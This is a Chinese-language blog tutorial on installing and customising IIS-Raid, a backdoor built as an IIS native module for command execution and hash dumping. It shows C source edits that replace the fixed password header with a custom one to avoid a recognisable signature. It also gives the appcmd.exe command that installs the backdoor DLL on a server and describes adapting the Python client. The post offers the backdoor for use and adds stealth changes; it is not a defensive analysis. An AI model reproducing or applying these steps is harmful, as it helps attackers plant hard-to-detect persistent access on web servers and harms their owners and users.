0×00 簡介

之前刷TW的時候在牆外看到老外分享的這款使用IIS的本地模塊構建IIS後門,功能可以自定義命令執行,dumhash等。感覺不錯。於是下了下來試了下,測試有一點小瑕疵,隨即修改了下,原版項目地址( https://github.com/0x09AL/IIS-Raid )。

0×01 安裝和部署

自定義密碼字段

在使用之前你得修改默認密碼,已放置別人蹭你後門。代碼在/module/Functions.h中定義,如下:

// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define PASS_FILE "C:\\Windows\\Temp\\creds.db"#define PASSWORD "SIMPLEPASS"

SIMPLEPASS 就是自定義的密碼值,連接後門的時候在HttpHeader中定義,但是這裏原版的定義密碼的HTTP頭字段始終是一個值(X-Password)。這無疑是一個典型的特徵了,所以這裏得實現自定義這個字段值,在以上定義代碼中添加一個常量COM_PASSWD,如下代碼:

// Communication Header for the Response.#define COM_HEADER "X-Chrome-Variations"#define COM_PASSWD "X-CT-BALA"#define PASS_FILE "C:\\Windows\\Temp\\creds.db"#define PASSWORD "SIMPLEPASS"

然後再更改/module/HttpFactory.cpp39行代碼替換掉X-Password值爲自定義的常量,如下代碼:

// Check the header password
    USHORT uPLen = 0;
    LPCSTR lpPassword = pHttpRequest->GetHeader(COM_PASSWD, &uPLen);
    if (lpPassword == NULL) {
        return RQ_NOTIFICATION_CONTINUE;
    }
    else if (strcmp(PASSWORD, lpPassword) != 0) {
        return RQ_NOTIFICATION_CONTINUE;
    }

安裝

安裝比較簡單,可以直接在命令行下使用appcmd.exe命令安裝,命令如下:

C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true

安裝成功後入下圖所示:

0×02 使用

客戶端是py寫的一個腳本,但貌似編碼有點問題,運行時候回報錯,需要去掉py腳本里的banner字符串就可以正常了。如果自定義了密碼字段名還需要修改下腳本以便支持自定義HTTP頭字段。如下圖:

添加個–headpass的命令行參數

把自定義的HTT頭字段名加入到HttpHeader中

連接成功入後如下圖所示:

相關文章